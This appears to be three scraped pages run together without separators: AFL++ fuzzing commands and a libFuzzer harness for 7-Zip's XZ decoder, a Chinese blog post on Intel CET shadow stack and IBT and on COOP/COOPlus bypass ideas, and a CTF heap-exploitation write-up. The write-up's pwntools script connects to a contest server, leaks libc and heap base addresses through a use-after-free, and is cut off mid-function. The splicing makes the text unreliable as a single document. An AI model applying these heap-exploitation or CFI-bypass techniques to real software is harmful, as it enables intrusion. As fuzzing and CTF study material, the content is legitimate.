-j -f ../../cmpl_clang_x64.mak CC=afl-clang-lto CXX=afl-clang-lto++ USE_ASM=1 MY_ASM="uasm" AFL_QUIET=1 AFL_LLVM_CMPLOG=1 LD_PRELOAD=/tmp/exeptor/build/libexeptor.so make -j -f ../../cmpl_clang_x64.mak CC=afl-clang-lto CXX=afl-clang-lto++ USE_ASM=1 MY_ASM="uasm" AFL_LLVM_LAF_ALL=1 LD_PRELOAD=/tmp/exeptor/build/libexeptor.so make -j -f ../../cmpl_clang_x64.mak CC=afl-clang-lto CXX=afl-clang-lto++ USE_ASM=1 MY_ASM="uasm" -f llvm-ar rcs 7z.a ./b/c_x64/*.o docker build . -t fuzz-7zip docker run --rm -it --tmpfs /ramdisk:exec fuzz-7zip cp -r /root/fuzz/ /ramdisk/ && cd /ramdisk/fuzz export AFL_TESTCACHE_SIZE=256 AFL_FINAL_SYNC=1 afl-fuzz -i input -o output -M master -a binary -G 1024 -b 2 -- ./7zz_normal x -so -tzip @@ AFL_USE_ASAN=1 afl-fuzz -i input -o output -S sanitizer -a binary -G 1024 -b 4 -- ./7zz_sanitizer x -so -tzip @@ afl-fuzz -i input -o output -S cmplog -a binary -G 1024 -b 6 -c 0 -l 2AT -- ./7zz_cmplog x -so -tzip @@ afl-fuzz -i input -o output -S compcov -a binary -G 1024 -b 8 -- ./7zz_cmpcov x -so -tzip @@#define Z7_ST #include "../CPP/7zip/Archive/Common/DummyOutStream.h" #include "../CPP/7zip/Common/CWrappers.h" #include "7zAlloc.h" #include "7zTypes.h" #include "Alloc.h" #include "Xz.h" #include <string.h> #include <unistd.h> static const ISzAlloc alloc = {SzAlloc, SzFree}; static int isMT = False; static CXzStatInfo stat; class FakeOutStream : public ISequentialOutStream { public: // IUnknown STDMETHOD(QueryInterface)(REFIID, void **) { return S_OK; } STDMETHOD_(ULONG, AddRef)() { return 1; } STDMETHOD_(ULONG, Release)() { return 1; } // ISequentialOutStream STDMETHOD(Write)(const void *, UInt32 size, UInt32 *processedSize) { *processedSize = size; return S_OK; } }; // Dummy input stream for fuzzing, construt with const uint8_t *Data, size_t // Size #include <algorithm> class BufInStream : public ISequentialInStream { private: const uint8_t *_data; size_t _size; size_t _pos; public: BufInStream() : _data(nullptr), _size(0), _pos(0) {} void SetData(const uint8_t *data, size_t size) { _data = data; _size = size; _pos = 0; } // IUnknown STDMETHOD(QueryInterface)(REFIID, void **) { return S_OK; } STDMETHOD_(ULONG, AddRef)() { return 1; } STDMETHOD_(ULONG, Release)() { return 1; } // ISequentialInStream STDMETHOD(Read)(void *data, UInt32 size, UInt32 *processedSize) { if (_pos >= _size) { if (processedSize) *processedSize = 0; return S_OK; } UInt32 toRead = (UInt32)std::min<size_t>(size, _size - _pos); memcpy(data, _data + _pos, toRead); _pos += toRead; if (processedSize) *processedSize = toRead; return S_OK; } STDMETHOD(Seek)(Int64 offset, UInt32 seekOrigin, UInt64 *newPosition) { if (seekOrigin == STREAM_SEEK_SET) _pos = (UInt32)offset; else if (seekOrigin == STREAM_SEEK_CUR) _pos += (UInt32)offset; else if (seekOrigin == STREAM_SEEK_END) _pos = (UInt32)(_size + offset); if (newPosition) *newPosition = _pos; return S_OK; } }; extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { CXzDecMtHandle p = XzDecMt_Create(&alloc, &g_AlignedAlloc); CXzDecMtProps props; XzDecMtProps_Init(&props); BufInStream inStream; inStream.SetData(Data, Size); FakeOutStream outStream; CSeqInStreamWrap inWrap; CSeqOutStreamWrap outWrap; CCompressProgressWrap progressWrap; inWrap.Init(&inStream); outWrap.Init(&outStream); SRes res = XzDecMt_Decode(p, &props, NULL, CODER_FINISH_ANY, &outWrap.vt, &inWrap.vt, &stat, &isMT, NULL); XzDecMt_Destroy(p); return 0; }
Intel CET (Shadow Stack + IBT) CFI 保护及其弱点
Intel CETIntel CET（Controlflow Enforcement Technology / 控制流加固技术）CFI（Control Flow Integrity / 控制流完整性）检查是近些年兴起的保护机制，其中包含 SHSTK（SHadow STacK）和 IBT（Indirect Branch Tracking），Intel Tiger Lake（11 代）及以上 CPU 才支持。SHSTK 是一种后向控制流完整性（Backward-edge CFI）检查（简单来说是在“返回”时的检查），一般需要硬件支持。程序运行时在不同内存映射中同时维护两个调用栈，一个是众所周知的栈区，另一个是新增的“影子栈”，只存储返回地址。CPU 在过程调用与返回时将同时操作两个栈，如果在返回时发现正常调用栈的返回地址与影子栈中的不同就产生异常。这样一来只通过栈缓冲区溢出等方式修改栈上函数返回值以劫持控制流的方式就失效了，也就是所有 ROP 攻击都将失效。IBT 是一种前向控制流完整性（Forward-edge CFI）检查（简单来说是在“调用”时的检查）。CPU 每当执行间接调用及跳转时都检查目标的指令是否为 endbr64/32，如果是就不执行任何操作（类似 nop），如果不是就产生异常。这样一来大幅削弱了 COP / JOP 攻击。Forward-edge CFI 可以在软件层面模拟，例如 Windows CFG、Clang CFI 等，但是会大幅降低程序性能，每次虚函数调用等都需要校验，实用价值有限。目前 Windows 只支持 Shadow Stack（Windows CFG），还不支持以 endbr 指令为基础的 IBT（存疑，Windows 我不熟悉）；Linux 上也几乎没有程序启用这项保护，算是高度实验性的功能吧。不过 SHSTK 保护很可能在未来成为继 RELRO、Stack Canary、NX、ASLR (PIE) 后又一项常见的用户态保护机制。下文即将提到的 COOP 攻击对于未来的 Pwner 可能也会是像 ROP 一样必学的攻击方式？（Hackergame 2024 中有一道开启了 SHSTK 和 IBT 的 Pwn 题，但好像没开 ASLR，解法是直接篡改 shadow stack 本身再 ROP。）验证 Intel CET 是否可用接下来是在 Linux 上实验启用 CET 的具体操作，主要是 Shadow Stack。首先需要内核启用 CET 特性，Linux 6.2 默认启用 IBT，Linux 6.6 正式合并 SHSTK。在命令行中验证启用状态：$ sudo dmesg | grep CET [ 0.111658] CET detected: Indirect Branch Tracking enabled $ cat /proc/cpuinfo | grep shstk flags : ... user_shstk ... $ cat /proc/cpuinfo | grep ibt flags : ... ibt ...验证某程序是否在编译时启用 CET：$ readelf -n <application> | grep -a SHSTK Properties: x86 feature: IBT, SHSTK $ readelf -n <application> | grep -a IBT Properties: x86 feature: IBT, SHSTKGCC / glibc 环境启用 Intel CETGlibc 已经在其 ld.so 中初步支持 Intel CET 保护。我的环境：CPU: 13th Gen Intel(R) Core(TM) i7-13700H (20) @ 5.00 GHz Kernel: 6.14.7-zen2-1-zen (archlinux) glibc: GNU C Library (GNU libc) stable release version 2.41如果自己的电脑没有 Intel CET 软硬件支持，推荐使用 eqqie 学长开发的 qemu 插件（github）。我的电脑由于恰好满足所有条件，所以我图方便直接实机测试了比较粗暴。开虚拟环境总是对的。编译时使用 gcc 编译时添加以下编译参数：gcc -fcf-protection=full运行时目前 glibc 动态链接器 ld.so 默认不启用 Intel CET 特性（见源码），需要设置以下环境变量以强制启用：GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK将以上环境变量中 on 改为 permissive 可以以更兼容的方式启用 CET（SHSTK / IBT），当程序本身或其动态链接库不支持 CET 特性时，动态链接器将自动关闭 CET。保护效果编写这样一个简单的 C 程序：# File: test_cet.c #include <stdio.h> int main(void) { puts("Hello, shadow stack!"); return 0; }编译运行：$ gcc -fcf-protection=branch test_cet.c -o test_cet $ GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK ./test_cet Hello, shadow stack!程序正常输出，但这并不是重点。接下来使用 gdb + pwndbg 调试验证 Shadow Stack 确实已启用：$ gdb ./a.out pwndbg> r ... pwndbg> set environment GLIBC_TUNABLES=glibc.cpu.x86_shstk=on:glibc.cpu.x86_ibt=on:glibc.cpu.hwcaps=IBT,SHSTK pwndbg> start ... pwndbg> vmmap ... 0x7ffff7400000 0x7ffff7c00000 rw-p 800000 0 [anon_7ffff7400] ... pwndbg> b _IO_file_write ... pwndbg> c ... pwndbg> tele 0x7ffff7bff000 1000 00:0000│ 0x7ffff7bff000 ◂— 0 ... ↓ 496 skipped 1f1:0f88│ 0x7ffff7bfff88 —▸ 0x7ffff7e99aac (sbrk+108) ◂— test eax, eax 1f2:0f90│ 0x7ffff7bfff90 —▸ 0x7ffff7e252e6 (__default_morecore+22) ◂— cmp rax, -1 1f3:0f98│ 0x7ffff7bfff98 —▸ 0x7ffff7e2622b (sysmalloc+1019) ◂— mov r10, qword ptr [rbp - 0x50] 1f4:0fa0│ 0x7ffff7bfffa0 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38] 1f5:0fa8│ 0x7ffff7bfffa8 —▸ 0x7ffff7e27435 (_int_malloc+3413) ◂— mov rcx, qword ptr [rbp - 0x38] 1f6:0fb0│ 0x7ffff7bfffb0 —▸ 0x7ffff7e28002 (malloc+434) ◂— test rax, rax 1f7:0fb8│ 0x7ffff7bfffb8 —▸ 0x7ffff7e012fd (_IO_file_doallocate+173) ◂— mov eax, 1 1f8:0fc0│ 0x7ffff7bfffc0 —▸ 0x7ffff7e0d2dd (new_do_write+93) ◂— movzx edi, word ptr [rbx + 0x80] 1f9:0fc8│ 0x7ffff7bfffc8 —▸ 0x7ffff7e0e191 (_IO_do_write+33) ◂— cmp rbx, rax 1fa:0fd0│ 0x7ffff7bfffd0 —▸ 0x7ffff7e0e70b (_IO_file_overflow+283) ◂— cmp eax, -1 1fb:0fd8│ 0x7ffff7bfffd8 —▸ 0x7ffff7e03dba (puts+474) ◂— cmp eax, -1 1fc:0fe0│ 0x7ffff7bfffe0 —▸ 0x555555555160 (main+23) ◂— mov eax, 0 1fd:0fe8│ 0x7ffff7bfffe8 —▸ 0x7ffff7da8e08 (__libc_start_call_main+120) ◂— mov edi, eax 1fe:0ff0│ 0x7ffff7bffff0 —▸ 0x7ffff7da8ecc (__libc_start_main+140) ◂— mov r14, qword ptr [rip + 0x1c10a5] 1ff:0ff8│ 0x7ffff7bffff8 —▸ 0x555555555075 (_start+37) ◂— hlt pwndbg> bt #0 _IO_new_file_write (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0, n=18) at fileops.c:1174 #1 0x00007ffff7e0d2dd in new_do_write (fp=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=0x5555555592a0 "Hello, Intel CET!\n", to_do=to_do@entry=18) at /usr/src/debug/glibc/glibc/libio/libioP.h:1030 #2 0x00007ffff7e0e191 in _IO_new_do_write (fp=fp@entry=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, data=<optimized out>, to_do=18) at fileops.c:426 #3 0x00007ffff7e0e70b in _IO_new_file_overflow (f=0x7ffff7f6b5c0 <_IO_2_1_stdout_>, ch=10) at fileops.c:784 #4 0x00007ffff7e03dba in __GI__IO_puts (str=0x555555556004 "Hello, Intel CET!") at ioputs.c:41 #5 0x0000555555555160 in main () #6 0x00007ffff7da8e08 in __libc_start_call_main (main=main@entry=0x555555555149 , argc=argc@entry=1, argv=argv@entry=0x7fffffffe2f8) at ../sysdeps/nptl/libc_start_call_main.h:58 #7 0x00007ffff7da8ecc in __libc_start_main_impl (main=0x555555555149 , argc=1, argv=0x7fffffffe2f8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2e8) at ../csu/libc-start.c:360 #8 0x0000555555555075 in _start ()可以看到程序运行时多出一个较大的匿名内存区域，这就是 Shadow Stack。在一个 glibc 中调用层级较深的函数下断点，可以看到 Shadow Stack 中存储了逐层函数返回地址（调用栈），与 back trace 相符。我们可以试试在 SHSTK 开启时栈溢出修改栈上返回地址劫持控制流是否还有效。#include <stdio.h> int main() { char buf[0x10]; gets(buf); return 0; }$ gcc -fcf-protection=full --ansi -fno-stack-protector main.cpwndbg> r Starting program: /home/rik/Desktop/a.out [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". aaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x0000555555555167 in main () LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA ──[ REGISTERS / show-flags off / show-compact-regs off ]── RAX 0 RBX 0 RCX 0x7ffff7f6c7c0 ◂— 0 RDX 0x7ffff7f6c7c0 ◂— 0 RDI 0x7fffffffe151 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa' RSI 0x5555555592a1 ◂— 'aaaaaaaaaaaaaaaaaaaaaaa\n' R8 0x5555555592b9 ◂— 0 R9 0xfbad2288 R10 0 R11 0x202 R12 0x7fffffffe288 —▸ 0x7fffffffe658 ◂— '/home/rik/Desktop/a.out' R13 1 R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f R15 0x555555557dd8 —▸ 0x5555555550f0 ◂— endbr64 RBP 0x6161616161616161 ('aaaaaaaa') RSP 0x7fffffffe168 —▸ 0x7ffff7dab600 ◂— cmp al, 0xff RIP 0x555555555167 (main+30) ◂— ret ──[ DISASM / x86-64 / set emulate on ]── ► 0x555555555167 <main+30> ret <0x7ffff7dab600> ↓ 0x7ffff7dab600 cmp al, 0xff 0x0 - 0xff EFLAGS => 0x213 [ CF pf AF zf sf IF df of ] ... pwndbg> xinfo 0x7ffff7dab600 Extended information for virtual address 0x7ffff7dab600: Containing mapping: 0x7ffff7da8000 0x7ffff7f18000 r-xp 170000 24000 /usr/lib/libc.so.6可以看到程序在 ret 处就已经产生段错误，连 RIP 都还不是篡改后的地址。用户态的 Shadow Stack 目前依旧是实验性的功能，在我自己电脑上测试，设置上述环境变量（on）后连 gdb 都打不开了...Fatal signal: 段错误 ----- Backtrace ----- 0x5ef6d4be903e ??? 0x5ef6d4d107c0 ??? 0x5ef6d4d109bb ??? 0x746656c4c1cf ??? 0x7466508bf125 ??? --------------------- A fatal error internal to GDB has been detected, further debugging is not possible. GDB will now terminate. This is a bug, please report it. For instructions, see: <https://www.gnu.org/software/gdb/bugs/>. fish: Job 1, 'GLIBC_TUNABLES=glibc.cpu.x86_sh…' terminated by signal SIGSEGV (Address boundary error)Linux 用户态启用 SHSTK 底层实现Linux 用户态动态开关 Shadow Stack 主要依赖 arch_prctl 系统调用：arch_prctl(ARCH_SHSTK_ENABLE, unsigned long feature) 启用‘feature’指定的特性。一次只能操作一个特性。 arch_prctl(ARCH_SHSTK_DISABLE, unsigned long feature) 关闭‘feature’指定的特性。一次只能操作一个特性。 arch_prctl(ARCH_SHSTK_LOCK, unsigned long features) 锁定特性的启用或关闭状态。‘features’ 是所有需要锁定的特性的遮罩（按位或）。没有按位或设定的特性的锁定状态不变，之后无法再启用或关闭已锁定的特性。 arch_prctl(ARCH_SHSTK_UNLOCK, unsigned long features) 锁定特性。‘features’ 是所有需要解锁的特性的遮罩。没有按位或设定的特性的锁定状态不变。只能在 ptrace 时使用。 arch_prctl(ARCH_SHSTK_STATUS, unsigned long addr) 将当前启用的特性拷贝到 addr 地址处。特性启用状态描述方式同上述用法中传入的 ‘features’。 可指定的特性： ARCH_SHSTK_SHSTK - Shadow stack ARCH_SHSTK_WRSS - WRSSGlibc 动态链接器 ld.so 中有关启用 SHSTK 的源码（sysdeps/unix/sysv/linux/x86_64/dl-cet.h）：/* 用宏启用 shadow stack 以避免调用栈下溢。（刚启用时 shadow stack 为空，此时若返回将触发保护。）*/ #define ENABLE_X86_CET(cet_feature) \ if ((cet_feature & GNU_PROPERTY_X86_FEATURE_1_SHSTK)) \ { \ long long int kernel_feature = ARCH_SHSTK_SHSTK; \ INTERNAL_SYSCALL_CALL (arch_prctl, ARCH_SHSTK_ENABLE, \ kernel_feature); \ } #define X86_STRINGIFY_1(x) #x #define X86_STRINGIFY(x) X86_STRINGIFY_1 (x) /* 如果已在 GL(dl_x86_feature_1) 启用，则在调用 _dl_init 前启用 shadow stack。调用 _dl_setup_x86_features 以初始化 shadow stack。*/ #define RTLD_START_ENABLE_X86_FEATURES \ "\ # 检查 shadow stack 是否已在 GL(dl_x86_feature_1) 启用。\n\ movl _rtld_local+" X86_STRINGIFY (RTLD_GLOBAL_DL_X86_FEATURE_1_OFFSET) "(%rip), %edx\n\ testl $" X86_STRINGIFY (X86_FEATURE_1_SHSTK) ", %edx\n\ jz 1f\n\ # 如果在 GL(dl_x86_feature_1) 中启用，启用 shadow stack。\n\ movl $" X86_STRINGIFY (ARCH_SHSTK_SHSTK) ", %esi\n\ movl $" X86_STRINGIFY (ARCH_SHSTK_ENABLE) ", %edi\n\ movl $" X86_STRINGIFY (__NR_arch_prctl) ", %eax\n\ syscall\n\ 1:\n\ # 将 GL(dl_x86_feature_1) 传参给 _dl_cet_setup_features。\n\ movl %edx, %edi\n\ # 为调用 _dl_cet_setup_features 对齐栈指针。\n\ andq $-16, %rsp\n\ call _dl_cet_setup_features\n\ # 从 %r12 和 %r13 恢复 %rax 和 %rsp。\n\ movq %r12, %rax\n\ movq %r13, %rsp\n\ "所以其实可以这样手动在程序中使用 shadow stack 而无需依赖 glibc ld.so（注意要使用宏函数，原因见上方源码中注释）：#include <stdio.h> #define ENABLE_SHSTK \ asm("mov $0x5001, %rdi;" \ "mov $0x1, %rsi;" \ "mov $158, %rax;" \ "syscall;"); #define DISABLE_SHSTK \ asm("mov $0x5002, %rdi;" \ "mov $0x1, %rsi;" \ "mov $158, %rax;" \ "syscall;"); int main(void) { ENABLE_SHSTK // ... DISABLE_SHSTK // 或者直接 exit(0); return 0; }SHSTK 内核底层实现arch_prctl 在处理 SHSTK 相关操作时会转到 shstk_prctl，SHSTK 的主要逻辑就在 arch/x86/kernel/shstk.c。SHSTK 本身主要由硬件实现，内核只负责检查参数、管理 shadow stack 内存页、通过 wrss 指令设置相关寄存器和异常处理等。在申请 shadow stack 内存页 do_mmap 时，flags 参数传入了一个新的标志 VM_SHADOW_STACK（bootlin），这样 mmap 会额外申请一个保护页（guard page），这个页一旦被读写就会触发异常。Shadow stack 指针（ssp）移动方式有 push、pop 和 incssp 指令，其中 incssp 指令移动 ssp 后会读目标地址及相邻的内存，且 ssp 一次最多只能移动 2040 字节。加入 guard page 后可以防止程序通过 incssp 指令将 ssp 移动到用户可控的内存区。（内核这块目前我还不清楚，以后补充吧。）Intel CET 启用后的攻击思路虽然 ROP 被 SHSTK 彻底拿下（😭），但是 IBT 提供的前向控制流保护只检查了跳转的地址是否合法，没考虑这个地址是否被替换。于是我们就有了新的攻击思路。虚函数表劫持我在 Mini L-CTF 2025 中恰好出了一道好评率为 0 的虚函数表劫持（virtual table hijack）相关的 Pwn 题（CTFers）。于是把那道题的题解搬到这里。我们考虑这样的 C++ 程序：#include <iostream> #include <vector> class Base { public: virtual void func() = 0; // 纯虚函数 }; class A : public Base { void func() override { std::cout << "I am A!\n"; } }; class B : public Base { void func() override { std::cout << "I am B!\n"; } }; int main() { std::vector objs; objs.emplace_back(new A()); objs.emplace_back(new B()); for (auto obj : objs) { obj->func(); } } // 输出： // I am A! // I am B!A 和 B 继承自 Base，std::vector 存储这两种对象时仅存储其基类对象指针（实际应该使用智能指针）而丢弃了具体的类型信息（A 还是 B？）。然而我们依旧可以直接调用对应类型的虚函数 func，这是因为 C++ 运行时多态特性。大多数编译器实现它的方式是虚函数表，在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表。虚函数被调用时首先从对象里的虚函数表指针指向的虚函数表中取出对应虚函数地址，然后再进行调用：; rax 为对象地址 mov rdx, qword [rax] ; 取虚函数表 mov rdx, qword [rdx + offset] ; 取虚函数 mov rdi, rax ; 传 this 指针隐式作为首个参数 call rdx ; 虚函数调用所以，一个包含了虚函数的 C++ 对象的内存布局会是这样：struct Object { void (**vtable)(struct Object *, ...); // 虚函数表指针 /* 对象字段 ... */ };如果我们能劫持虚函数表指针，指向伪造的虚函数表，其中包含类似 one_gadget 那样的后门函数或者 system 之类。可实际情况我们往往需要拼接多个代码片段达到任意代码执行的效果（用来泄露基址、执行 orw 等）。没有 ROP 的话怎么做到链式“拼接”代码片段呢？有研究人员提出了 COOP（虽然但是这大概是绕过 CFI 检查多种思路中相对困难的一种）开启控制流完整性保护后第一时间考虑的攻击方式应该是各种 data-only（仅数据）攻击，不篡改控制流但篡改敏感数据从而控制程序行为。COOP 攻击只在很极端的情况才能达成，不过确实是一个挺有趣且并非前所未有的形式 :)。COOPCOOP（Counterfeit Object Oriented Programming / 面向伪对象编程）是一种新的代码重用攻击。其实我们早已见过 COOP 攻击：高版本 glibc 堆利用往往结合 IO_FILE 利用，“打 IO”就是一种原始的 COOP，只是不在 C++ 中。通过篡改 IO_FILE 中某些作为跳表函数参数的字段，篡改 vtable，构造 system("/bin/sh")。然而我们的目标是实现几乎任意代码执行，需要真正的基于 vfgadgets 的 COOP。Vfgadgets 是 COOP 论文提出的新型 gadgets，由于 SHSTK + IBT，我们能够利用的 gadgets 从 ret 前的代码片段（ROP gadgets）变成了完整的函数——vfgadget。vfgadgets 大致可以分为 Main Loop Gadget（将其他 vfgadgets 串联起来）、Argument Loader Gadget（类似 ROP 中的 pop rdi; ret;）、Invoker Gadget（类似 ROP 中的 system）和 Collector Gadget（存储 Invoker 的结果）。以上是一张关于 COOP 攻击十分经典的配图搜寻 vfgadgets 的工具（类似 ropper）：https://github.com/x86-512/VXpp我觉得理解 COOP 需要搞清楚这几种 vfgadgets 的来源，以下是高度简化的模型：// 这个类实际上应该不会生成虚函数，所有 vfgadgets 也不是在同一个类中，只为简化理解。 class Vfgadgets { size_t data; // 数据类型不是重点 size_t *addr; std::vector objs; // 也可以是更简单的：Base* objs[N]; virtual void looper() { for (auto obj : objs) { obj->func(); } } virtual void invoker() { this->victim_vfunc(); } virtual void loader() { size_t var; // 寄存器变量 var = this->data; // 也可以是 var = *(this->addr) 之类 // 总之是从对象写入寄存器 } virtual void collector(size_t arg) { this->data = arg; // 也可以是 *(this->addr) = arg; *(this->addr) = 1234; 之类 // 总之是从寄存器或立即数写入对象 } virtual void victim_vfunc() { // 这里的函数体不是重点，反正会被篡改成另一个函数。 } };其实为了给这些 vfgadgets 再分类，原论文用了很多概念和抽象，我写得还是过于不严谨了（应该比较直观吧）。这几种 vfgadgets 中最重要的是 Main Loop Gadget（Looper），它将所有真正有用的 vfgadgets 串联起来，构成链式调用，达到 ROP 不断返回到各种代码片段连成一串的效果。Looper 从当前对象字段中取出类似数组的容器，其中是有虚函数表的对象，并遍历执行每个对象的某个虚函数。这在开启了优化的大型 C++ 程序特别是 GUI 程序中比较常见，比如释放资源时调用虚析构函数，注册/注销事件之类。COOP 的攻击条件是已知基址且能够伪造对象，例如 UAF 或者堆缓冲区溢出等漏洞，可以控制堆上分配的对象。我们需要伪造的东西有：Looper 所在对象（类比 FSOP 时篡改 _IO_list_all）​ 篡改其某即将被调用的虚函数为来自另一个对象或全局函数 (?) 的 Looper，再篡改这个 Looper 遍历的伪对象容器地址或内容（指针数组）。Looper 遍历的伪对象（类比 FSOP 时构造 fake files）​ 将会被调用的虚函数改为其他三种 vfgadgets。一旦 Looper 被调用，它就会逐个执行容器中一连串伪对象中的 vfgadgets。如果没有 IBT 只有 SHSTK 保护的话，那应该就可以直接把 ROP gadgets 当作 vfgadgets，只是这些 gadgets 不由 ret“触发”而是直接被 call，理应实现任意代码执行。如果开启了 IBT 就更加困难了，毕竟只能执行完整的函数 (?)，而不是 ret 前的代码片段，不过依旧能够实现攻击。（据说 COOP 和 ROP 一样是图灵完备的，具体分析过程我还没看明白。）这种玩法好像在哪里见过？Glibc IO_FILE 利用中有种类似的手法 FSOP。FSOP 通过 _chain 链接任意读写原语，遍历 _IO_list_all 的 _IO_flush_all 可以看作 looper。很像篡改 glibc ld.so _rtld_global 伪造 fini_array。fini_array 类似那个容器，不过里面存的直接就是 vfgadgets，那么负责遍历调用 fini_array 中函数的 __run_exit_handlers 就像是 looper 了。COOPlus 原论文的 presentation 里面有很多配图值得一看。COOPlus简单地通过修改虚函数表指针劫持虚函数表早就有了对应的保护措施，例如 gcc 的 virtual table verification（VTV）。虚函数表中会有一个类似 stack canary 的 magic number，在调用虚函数前会先校验虚函数表指针，虚函数表指针一定要指向虚函数表 ✍。我们熟悉的 glibc IO 也会检查 IO_FILE_plus 虚函数表指针 vtable，不过那是通过地址范围来检查。由于虚函数表一般都在只读段，所以不容易篡改。然而如果我们在整个利用过程中所有虚函数表指针都合法呢？也就是只是将某个对象的虚函数表指针更换为另一个对象的。由于不同类的虚函数表往往放在一起，只需篡改虚函数表指针低位，无需泄露基址就可能更换虚函数表，从而实现越界修改对象字段等简单操作。这就是 COOPlus。COOPlus 主要用来扩大攻击面，通过 vfgadgets 篡改对象中的关键字段（例如权限等级、缓冲区长度等）从而进一步利用。COOPlus 原论文设计了一个工具 VScape，可以自动扫描程序中 COOPlus 攻击原语。论文作者经过测试发现许多大型 C++ 程序都有不少适合 COOPlus 攻击的虚函数。USMAUSMA 是由 360 漏洞研究院提出的一种 linux kernel 利用方式。“它允许普通用户进程可以映射内核态内存并且修改内核代码段，通过这个方法，我们可以绕过Linux内核中的CFI缓解措施，在内核态中执行任意代码。”详细过程请看原文：USMA:用户态映射攻击缓解措施如果细粒度前向控制流完整性保护启用了的话，每次虚函数调用都要校验函数指针（而非只是表）的签名，那 COOP 应该就失效了。不过这样激进的保护应该不太可能大面积应用。……参考资料COOP 原论文COOPlus / VScape 原论文Bypassing Intel CET with Counterfeit ObjectsCVE-2015-5122: Exploitation Using COOP《Counterfeit Object-oriented Programming》 论文笔记顺带一提：最近在学习 linux kernel pwn 的时候发现所有的虚函数前面都有 __cfi_*“函数”，其开头是 moveax, 0x8f07ca55，后面有一些 nop 然后直接 fallthrough 进入真正的函数实现。稍微了解了下，这应该是 LLVM / Clang 引入的 CFI (Control Flow Intergrity) 检查。在调用这样的虚函数前，会先校验函数指针：如果函数指针指向的代码段内容第 1~4 个字节是 0x8f07ca55（第 0 个字节是 mov 指令），才通过检查，如果不是就进一步处理，大概率会直接 panic。类似 glibc tcache 对 key 的检查。控制流完整性检查在 linux 内核态已经相对完善，而且实现起来也比在用户态简单。
glibc 2.39 菜单堆。逆向得出堆块结构体：struct Member { int64_t backup_size; char* backup; char name[0x20]; char department[0x18]; int32_t level; int32_t index; int64_t create_time; uint64_t checksum; };写出各功能交互模板：itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') def manage(index: int): """index < 0x10""" io.sendlineafter(b'Choice: ', b'1') io.sendlineafter(b'index: ', itob(index)) def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes): """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500""" manage(index) io.sendlineafter(b'Name: ', name) io.sendlineafter(b'Department: ', department) io.sendlineafter(b'32: ', itob(backup_size)) io.sendafter(b'data: ', backup) def crew_edit(index: int, name: bytes, department: bytes): manage(index) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'Name: ', name) io.sendlineafter(b'department: ', department) def crew_promote(index: int): manage(index) io.sendlineafter(b'> ', b'2') def crew_demote(index: int): manage(index) io.sendlineafter(b'> ', b'3') def crew_delete(index: int): manage(index) io.sendlineafter(b'> ', b'4') def crew_randomize(index: int): manage(index) io.sendlineafter(b'> ', b'5') def crew_summary(): io.sendlineafter(b'Choice: ', b'2') def backup(index: int): io.sendlineafter(b'Choice: ', b'3') io.sendlineafter(b'Index: ', itob(index)) def backup_view(index: int): backup(index) io.sendlineafter(b'> ', b'1') def backup_edit(index: int, data: bytes): backup(index) io.sendlineafter(b'> ', b'2') io.sendafter(b'content: ', data) def backup_invert(index: int): backup(index) io.sendlineafter(b'> ', b'3') def global_init(global_data: bytes): """sizeof(global_data) <= 0x200""" io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'1') io.sendafter(b'global data: ', global_data) def global_view(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'2') def global_free(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'3') def global_xor(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'4')global_Hash+Append 时可能 off_by_one 写入 ']'：global_init(bytes([(i * 0x25 + 1) % 256 for i in range(0, 0x200)])) global_xor()这个不是重点，重点在 backup data 在长度输入错误时程序继续运行且不会覆盖残留的 backup data chunk addr，可以有 UAF。于是可以通过让 unsorted bin chunk bk 与 backup 重合以泄露基址以及构造假堆块：crew_add(0, b'a', b'b', 0x500, b'1') # libc leak crew_add(1, b'a', b'b', 0x20, b'1') # padding crew_delete(0) # leak libc crew_add(0, b'a', b'b', 0) # padding crew_add(2, b'2222', b'2222', 0) # unsorted -> backup libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000 print_leaked('libc_base', libc.address) crew_add(3, b'2222', b'2222', 0) # unsorted -> backup heap_base = u64(backup_view(3).ljust(8, b'\x00')) - 0x8b0 print_leaked('heap_base', heap_base)Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './pwn' # io = process(binary) io = connect('39.106.16.204', 46959) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # gdb.attach(io, 'set exception-verbose on') def _manage(index: int): """index < 0x10""" io.sendlineafter(b'Choice: ', b'1') io.sendlineafter(b'index: ', itob(index)) def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes | None = None): """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500""" _manage(index) io.sendlineafter(b'Name: ', name) io.sendlineafter(b'Department: ', department) io.sendlineafter(b'32: ', itob(backup_size)) if backup is not None: io.sendafter(b'data: ', backup) 